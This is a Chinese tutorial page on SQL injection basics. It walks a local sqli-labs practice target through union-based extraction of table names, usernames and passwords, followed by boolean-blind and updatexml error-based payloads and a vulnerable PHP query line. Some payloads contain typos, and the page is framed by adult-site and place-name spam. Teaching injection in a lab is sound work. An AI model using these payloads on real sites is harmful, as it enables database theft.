最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

web安全之SQL注入基礎(chǔ)

2020-04-17 15:59 作者:匯智知了堂  | 我要投稿

本文是web安全系列第一章,主要介紹SQL注入基礎(chǔ)。

SQL注入基礎(chǔ)

SQL注入介紹


Web請(qǐng)求響應(yīng)過(guò)程:



什么是SQL注入?
就是指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷,前端傳入后端的參數(shù)是攻擊者可控的,并且參數(shù)帶入數(shù)據(jù)庫(kù)查詢,攻擊者可以通過(guò)構(gòu)造不同的SQL語(yǔ)句來(lái)實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的任意操作。

為什么會(huì)產(chǎn)生sql注入?
開發(fā)人員可以使用動(dòng)態(tài)SQL語(yǔ)句創(chuàng)建通用,靈活的應(yīng)用。動(dòng)態(tài)SQL語(yǔ)句是在執(zhí)行過(guò)程中構(gòu)造的,它根據(jù)不同的條件產(chǎn)生不同的sql語(yǔ)句。當(dāng)開發(fā)人員在運(yùn)行過(guò)程中需要根據(jù)不同的查詢標(biāo)準(zhǔn)決定提取什么字段(如select語(yǔ)句),或者根據(jù)不同的條件選擇不同的查詢表時(shí),動(dòng)態(tài)地構(gòu)造SQL語(yǔ)句會(huì)非常有用。

Php語(yǔ)句為例:

$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;

由于這里的參數(shù)ID可控,且?guī)霐?shù)據(jù)庫(kù)查詢,所以非法用戶可以任意拼接SQL語(yǔ)句進(jìn)行攻擊。



SQL注入的原理

Sql注入漏洞的產(chǎn)生需要滿足那兩個(gè)條件?

參數(shù)用戶可控:前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的。

參數(shù)帶入數(shù)據(jù)庫(kù)查詢:傳入的參數(shù)拼接到sql語(yǔ)句,且?guī)霐?shù)據(jù)庫(kù)查詢。

當(dāng)傳入ID參數(shù)為1′時(shí),數(shù)據(jù)庫(kù)執(zhí)行的代碼如下所示。

sehlect * from users where id =1'

這樣是會(huì)報(bào)出錯(cuò)誤的,因?yàn)檫@不符合數(shù)據(jù)庫(kù)語(yǔ)法規(guī)范。

當(dāng)傳入的ID參數(shù)為and 1=1 時(shí),執(zhí)行的SQL語(yǔ)句如下所示。

select * from users where id = 1' and 1=1

因?yàn)?=1為真,且where語(yǔ)句中id1=1也為真,所以頁(yè)面會(huì)返回與id=1相同的結(jié)果。

當(dāng)傳入的ID參數(shù)為and 1=2時(shí),由于1=2不成立,所以返回假,頁(yè)面就會(huì)返回與id=1不同的結(jié)果。

由此可以初步判斷ID參數(shù)存在SQL注入漏洞,攻擊者可以進(jìn)一步拼接SQL語(yǔ)句進(jìn)行攻擊,致使數(shù)據(jù)庫(kù)信息泄露,甚至進(jìn)一步獲取服務(wù)器權(quán)限等。

————————————————————————————————————————

在實(shí)際環(huán)境中,凡是滿足上述兩個(gè)條件的參數(shù)皆可能存在SQL注入漏洞,因此開發(fā)者需秉持“外部參數(shù)皆不可信的原則”進(jìn)行開發(fā)。

————————————————————————————————————————

與MySQL注入相關(guān)的知識(shí)點(diǎn)

Mysql數(shù)據(jù)庫(kù)

數(shù)據(jù)庫(kù)A=網(wǎng)站A

表名

列名

數(shù)據(jù)

數(shù)據(jù)庫(kù) B=網(wǎng)站B

數(shù)據(jù)庫(kù)

在MySql5.0 版本之后,MySql默認(rèn)在數(shù)據(jù)庫(kù)中存放一個(gè)“information_schema”的數(shù)據(jù)庫(kù),在該庫(kù)中,讀者需要記住三個(gè)表名,分別是

SCHEMATA,TABLES,COLUMNS

SCHEMNSz表存儲(chǔ)該用戶創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名的字段名為SCHEMA_NAME

TABLES表存儲(chǔ)該用戶創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名和表名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名和表名的字段名分別為TABLE_SCHEMA和TABLE_NAME。

COLUMNS表名和字段名的字段名為TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME。

Mysql查詢語(yǔ)句

在不知道任何條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢的字段名 FROM 庫(kù)名.表名

在知道一條已知條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢的字段名 FROM 庫(kù)名.表名 WHERE 已知條件的字段名=‘已知條件的值’

在知道兩條已知條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢的字段名 FROM 庫(kù)名.表名 WHERE 已知道條件1的字段名=‘已知條件1的值’ AND 已知條件2的字段名=‘已知條件2的值’

Limit 的用法

Limit的使用格式為limit m,n, 其中m是指記錄開始的位置,從0開始,表示第一條記錄;n是指取n條記錄。

例如limit 0,1表示從第一條記錄開始,取一條記錄,

需要記住的幾個(gè)函數(shù)

Database():當(dāng)前網(wǎng)站使用的數(shù)據(jù)庫(kù)

Version():當(dāng)前MySQL的版本

User():當(dāng)前MySQL的用戶

注釋符號(hào)

在MySQL中,常見注釋符的表達(dá)方式:#或-- 空格或/**/

內(nèi)聯(lián)注釋

內(nèi)聯(lián)注釋的形式:/! code/。內(nèi)聯(lián)注釋可以用于整個(gè)SQL語(yǔ)句中,用來(lái)執(zhí)行我們的SQL語(yǔ)句,下面舉一個(gè)列:

index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

Union(聯(lián)合)注入攻擊

在線靶場(chǎng)

127.0.0.1/sqli-labs/Les

一、判斷是否用(‘)做字符串引號(hào)

127.0.0.1/sqli-labs/Les'and 1=1 --+

blog.csdn.net/qq_416308

正常輸出

出錯(cuò)代表沒有閉合 說(shuō)明沒有用’可能沒有用’ 或用了”或()

127.0.0.1/sqli-labs/Les

則是”字符串注入

二、判斷它所在的數(shù)據(jù)庫(kù)有幾列

127.0.0.1/sqli-labs/Les'order by 3 --+ 判斷是否有3列

正常

127.0.0.1/sqli-labs/Les'order by 4 --+ 判斷是否有4列

錯(cuò)誤

說(shuō)明它輸出的內(nèi)容所在的數(shù)據(jù)庫(kù)有3列

三、判斷他顯示的內(nèi)容在數(shù)據(jù)庫(kù)的第幾列

127.0.0.1/sqli-labs/Les' union select 1,2,3 --+

則 Your Login name 在第二列Your Password在第三列

我選擇在第二列輸出我想要的內(nèi)容

四、查找出當(dāng)前用戶權(quán)限

127.0.0.1/sqli-labs/Les' union select 1,user(),3 --+

root權(quán)限

五、查找當(dāng)前數(shù)據(jù)庫(kù)

127.0.0.1/sqli-labs/Les' union select 1,database(),3 --+

當(dāng)前數(shù)據(jù)庫(kù)是 security

六、查找security的表名

127.0.0.1/sqli-labs/Les' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

表名是 emails,referers,uagents,users

group_concat()會(huì)計(jì)算哪些行屬于同一組,將屬于同一組的列顯示出來(lái)。要返回哪些列,由函數(shù)參數(shù)(就是字段名)決定

七、查找users里的字段

127.0.0.1/sqli-labs/Les' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

八、查找用戶名

127.0.0.1/sqli-labs/Les' union select 1,(select group_concat(username) from security.users),3 --+

九、查找密碼

127.0.0.1/sqli-labs/Les' union select 1,(select group_concat(password) from security.users),3 --+

這樣 這個(gè)就完成了 已經(jīng)拿到了賬號(hào)密碼

Union (聯(lián)合) 注入代碼分析

在Union注入頁(yè)面中,程序獲取GET參數(shù)ID,將ID拼接到SQL語(yǔ)句中,在數(shù)據(jù)庫(kù)中查詢參數(shù)的ID對(duì)應(yīng)的內(nèi)容,然后將第一條查詢結(jié)果中的usernameaddress輸出到頁(yè)面,

由于是將數(shù)據(jù)輸出到頁(yè)面上的,所以利用Union語(yǔ)句查詢其他數(shù)據(jù),代碼如下:

![

](ww1.sinaimg.cn/large/00)

當(dāng)訪問(wèn)id=1 union select 1,2,3時(shí),執(zhí)行的SQL語(yǔ)句為:

`Select * from users where ‘id’=1 union select 1,2,3“

此時(shí)sql語(yǔ)句可以分為select \* from users where ‘id’=1union select 1,2,3兩條,利用第二條語(yǔ)句(Union查詢)就可以獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。

(優(yōu)化在源碼中添加sql語(yǔ)句執(zhí)行代碼)

Boolean (布爾型) 注入攻擊

1' and length(database())>=1--+ //判斷數(shù)據(jù)庫(kù)的長(zhǎng)度

l' and substr(database(),1,1)=‘t’ --+ //判斷數(shù)據(jù)庫(kù)第一個(gè)字母的值

l' and substr(database(),2,1)=‘q’ --+ //判斷數(shù)據(jù)庫(kù)的第二個(gè)字母的值

l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判斷數(shù)據(jù)庫(kù)庫(kù)名

l' and substr(database(),2,1)=’q’--+ //利用substr判斷數(shù)據(jù)庫(kù)的庫(kù)名

l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數(shù)據(jù)庫(kù)的表名


1.?length(str):返回str字符串的長(zhǎng)度。

2.?substr(str, pos, len):將str從pos位置開始截取len長(zhǎng)度的字符進(jìn)行返回。注意這里的pos位置是從1開始的,不是數(shù)組的0開始

3.?mid(str,pos,len):跟上面的一樣,截取字符串

4.?ascii(str):返回字符串str的最左面字符的ASCII代碼值。

5.?ord(str):同上,返回ascii碼

6.?if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

Boolean (布爾型)注入代碼分析

在Boolean注入頁(yè)面中程序先獲取GET參數(shù)ID,通過(guò)preg_match判斷其中是否存在union/sleep/benchmark等危險(xiǎn)字符。然后將參數(shù)ID拼接到SQL語(yǔ)句,從數(shù)據(jù)庫(kù)中查詢,




當(dāng)訪問(wèn)id=1‘ or 1=1%23時(shí),數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真條件,所有此時(shí)返回正常。當(dāng)訪問(wèn)id=1‘ and 1=2%23時(shí),

數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假條件,所有此時(shí)頁(yè)面肯定會(huì)返=返回錯(cuò)誤。

報(bào)錯(cuò)注入攻擊

updatexml(1,concat(0x7e,(select user()),0x7e),1)–+ //利用updatexml獲取user()

‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+ //利用updatexml獲取database()

`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+**?//**利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)庫(kù)名

‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)–+ //利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名

## 報(bào)錯(cuò)注入攻擊代碼分析 **在報(bào)錯(cuò)注入頁(yè)面中,程序獲取GET參數(shù)username 后,將username拼接到SQL語(yǔ)句中然后,然后到數(shù)據(jù)庫(kù)查詢。** ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg) 輸入username=1‘時(shí),SQL語(yǔ)句為select * from user where ‘username’=‘1“。執(zhí)行時(shí)會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò)。利用這種錯(cuò)誤回顯,我們可以通過(guò)floor(),updatexml() 等函數(shù)將要查詢的內(nèi)容輸出到頁(yè)面上。



web安全之SQL注入基礎(chǔ)的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
祁门县| 祁东县| 山西省| 静海县| 武平县| 城步| 阿拉善左旗| 和田县| 慈溪市| 贡山| 华宁县| 普安县| 石嘴山市| 定兴县| 开封县| 娄烦县| 砀山县| 平度市| 邯郸县| 甘南县| 普格县| 象州县| 东海县| 昌宁县| 英山县| 三江| 定日县| 清新县| 论坛| 土默特右旗| 卓资县| 柯坪县| 雷州市| 长阳| 庆阳市| 镇安县| 双桥区| 永泰县| 光山县| 揭西县| 九寨沟县|